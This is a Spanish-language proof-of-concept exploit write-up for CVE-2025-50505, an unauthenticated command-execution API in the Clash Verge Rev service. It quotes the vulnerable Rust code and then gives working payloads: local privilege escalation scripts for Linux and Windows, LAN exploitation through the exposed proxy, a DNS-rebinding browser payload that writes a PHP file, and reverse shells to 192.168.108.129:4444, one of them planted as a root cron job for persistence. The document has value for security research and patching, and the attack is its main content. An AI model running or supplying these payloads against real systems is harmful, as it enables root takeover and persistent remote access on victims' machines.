
Exploit de prueba de concepto para CVE-2025-50505: la API no autenticada en Clash Verge Rev permite la escalada de privilegios local y la ejecución remota de código mediante el rebote de DNS. Incluye cargas útiles de LPE, RCE y reverse shell.
API no autorizada conduce a ejecución arbitraria de comandos y escalada de privilegios en Clash Verge Rev
La vulnerabilidad se origina en un endpoint API no autenticado expuesto por el componente clash-verge-service, que se instala con privilegios elevados por defecto. Este fallo permite a los atacantes ejecutar comandos arbitrarios, lo que conduce a dos escenarios de ataque principales: Escalada Local de Privilegios (LPE) en la máquina anfitriona y Ejecución Remota de Código (RCE) bajo condiciones específicas.
El vector RCE puede ser explotado por atacantes en la misma Red de Área Local (LAN) si el usuario ha habilitado conexiones LAN. De manera más crítica, puede ser explotado desde Internet público encadenando la vulnerabilidad con un ataque de DNS Rebinding, permitiendo a los atacantes eludir las políticas de seguridad del navegador y ejecutar comandos en la máquina de la víctima simplemente haciendo que visiten un sitio web malicioso.
La advertencia pública inicial de esta vulnerabilidad fue proporcionada por @KawaiiZapic en X.
El componente clash-verge-service se ejecuta con altos privilegios (root o SYSTEM) y expone una API HTTP no autenticada en 127.0.0.1:33211. La vulnerabilidad se encuentra en el endpoint /start_clash, que acepta un payload JSON para controlar el inicio del proceso principal de Mihomo.
El servicio construye y ejecuta un comando basado en varios parámetros de este payload, siguiendo una estructura similar a:
<bin_path> -d <config_dir> -f <config_file> >> <log_file>
Crucialmente, los cuatro parámetros—bin_path, config_dir, config_file y log_file—son completamente controlables por el atacante. Aunque Rust proporciona protección inherente contra la inyección clásica de comandos (por ejemplo, usando ; o | para encadenar comandos), el control del atacante sobre toda la estructura del comando permite un ataque en dos etapas para lograr la ejecución arbitraria de código.
/start_clash.clash-verge-service/src/service/mod.rs
// Línea 29
const LISTEN_PORT: u16 = 33211;
// Línea 77~80
let api_start_clash = warp::post()
.and(warp::path("start_clash"))
.and(warp::body::json())
.map(move |body: StartBody| wrap_response!(COREMANAGER.lock().unwrap().start_clash(body)));
// Línea 98~107
warp::serve(
api_get_version
.or(api_start_clash)
.or(api_stop_clash)
.or(api_stop_service)
.or(api_get_clash)
.or(api_exit_sys),
)
.run(([127, 0, 0, 1], LISTEN_PORT))
.await;
start_clash() llama a start_mihomo() y start_mihomo() llama a la función process::spawn_process(bin_path, &args, log) pasando bin_path. spawn_process() llama a std::Command::new(command) para ejecutar el comando.clash-verge-service/src/service/core.rs
let pid = process::spawn_process(bin_path, &args, log)?;
clash-verge-service/src/service/process.rs
let child = Command::new(command)
.args(args)
.stdout(log)
.stderr(Stdio::null())
.spawn()?;
echo -e '#!/bin/bash\nid > /root/pwned' > /home/user/pwn
chmod +x /home/user/pwn
curl -XPOST http://127.0.0.1:33211/start_clash \
-H 'Content-Type: application/json' \
-d '{
"bin_path":"/home/user/pwn",
"config_dir":"/tmp",
"config_file":"/dev/null",
"log_file":"/tmp/x"
}'

sudo cat /root/pwned


pwn.bat:
@echo off
whoami > C:\Users\xxx\Desktop\pwned.txt
test.ps1:
$apiUrl = "http://127.0.0.1:33211/start_clash"
$headers = @{ "Content-Type" = "application/json" }
$body = @{
bin_path = "C:\Users\xxx\Desktop\pwn.bat"
config_dir = "C:\Windows\Temp"
config_file = "NUL"
log_file = "C:\Windows\Temp\exploit.log"
} | ConvertTo-Json
Invoke-RestMethod -Uri $apiUrl -Method Post -Headers $headers -Body $body

La vulnerabilidad puede escalarse a RCE en dos escenarios.
Si un usuario habilita la opción "Permitir LAN" dentro del cliente Clash Verge Rev, el servidor proxy de la aplicación se vuelve accesible para todos los dispositivos en la misma red local. Un atacante en la misma LAN puede explotar esto dirigiendo su solicitud maliciosa a través del proxy expuesto de la víctima.
curl --proxy http://192.168.108.129:7897 \
-XPOST http://127.0.0.1:33211/start_clash \
-H 'Content-Type: application/json' \
-d '{
"bin_path":"/path/to/malicious/script",
"config_dir":"/tmp",
"config_file":"/dev/null",
"log_file":"/tmp/x"
}'
Se puede realizar un ataque más avanzado desde Internet sin requerir acceso a LAN. La cadena de ataque aprovecha DNS Rebinding en combinación con un comportamiento específico del navegador conocido como exploit "0.0.0.0-day".
La clave de este ataque es que Firefox y ciertas versiones de Chromium tratan la dirección IP 0.0.0.0 como un alias de 127.0.0.1. Esto permite a un atacante eludir las características modernas de seguridad del navegador, como la Política de Mismo Origen (SOP) y el Acceso a Red Privada (PNA).
El flujo del ataque es el siguiente:
attacker.com).attacker.com a su dirección IP pública real. La página maliciosa se carga en el navegador de la víctima.attacker.com a 0.0.0.0 con un TTL muy corto.attacker.com y ahora recibe 0.0.0.0.127.0.0.1 en la máquina de la víctima.Dado que el origen de la solicitud sigue siendo attacker.com, el script evade con éxito las restricciones de seguridad y se comunica directamente con la API vulnerable de clash-verge-service en 127.0.0.1:33211, logrando la ejecución remota de código.
/**
* Clash-Verge-Rev payload
*/
const ClashVergeTrueLog = () => {
const BODY = `{
"bin_path": "/bin/true",
"config_dir": "<?php phpinfo();?>",
"config_file": "/dev/null",
"log_file": "/var/www/html/exp.php"
}`;
function attack() {
fetch("/start_clash", {
method: "POST",
headers: { 'Content-Type': 'application/json' },
body: BODY
}).then(() => console.log("[Clash-True] sent"));
}
async function isService(headers,cookie,body){
try {
const r = await fetch("/version", {method:"GET"});
const t = await r.text();
return t.includes("Clash");
} catch { return false; }
}
return {attack, isService};
};
Registry["Clash Verge Rev RCE"] = ClashVergeTrueLog();
Reemplazar el probe PHP por cualquier lenguaje de script que admita marcadores de límite. Si deseas obtener un root shell, consulta la siguiente sección y modifica el payload.
./singularity-server --HTTPServerPort 33211https://github.com/user-attachments/assets/b0846486-cd24-4f3a-987e-54388c82c148

Nota: Al personalizar Content-Type a application/json, no establezcas no-cors. Primero luego segundo es un modo de DNS rebinding más lento pero más estable. También puedes elegir múltiples respuestas, pero esto puede ser mitigado por algunos servidores DNS públicos, causando que el ataque falle.
MacOS y algunos sistemas Linux (ej. Kali) tienen zsh instalado, lo que permite ejecutar scripts con -d y -f.
curl --proxy http://192.168.108.129:7897 -XPOST http://127.0.0.1:33211/start_clash \
-H "Content-Type: application/json" \
-d @- << 'EOF'
{
"bin_path": "/bin/echo",
"config_dir": ";bash -c 'bash -i >& /dev/tcp/192.168.108.129/4444 0>&1';",
"config_file":"/dev/null",
"log_file": "/tmp/rce_file"
}
EOF
# O CONFIGURAR UN CRON JOB
curl --proxy http://192.168.108.129:7897 -XPOST http://127.0.0.1:33211/start_clash \
-H "Content-Type: application/json" \
-d @- << 'EOF'
{
"bin_path": "/bin/echo",
"config_dir": ";python3 -c \"open('/etc/cron.d/rev_shell','w').write(\\\"* * * * * root bash -c 'bash -i >& /dev/tcp/192.168.108.129/4444 0>&1'\\n\\\");\"; rm /tmp/rce_file;",
"config_file":"/dev/null",
"log_file": "/tmp/rce_file"
}
EOF
curl --proxy http://192.168.108.129:7897 -XPOST http://127.0.0.1:33211/start_clash \
-H 'Content-Type: application/json' \
-d '{"bin_path": "/bin/zsh","config_dir": "/tmp/rce_file","config_file": "/dev/null","log_file": ""}'
let _ = writeln!(log, "Spawning process: {} {}", command, args.join(" "));
log.flush()?;
let child = Command::new(command)
.args(args)
.stdout(Stdio::from(log))
.stderr(Stdio::null())
.spawn()?;
Gracias a @Esonhugh por sugerir que zsh se puede usar para ejecutar comandos exitosamente bajo estas condiciones.
Actualizar a la última versión.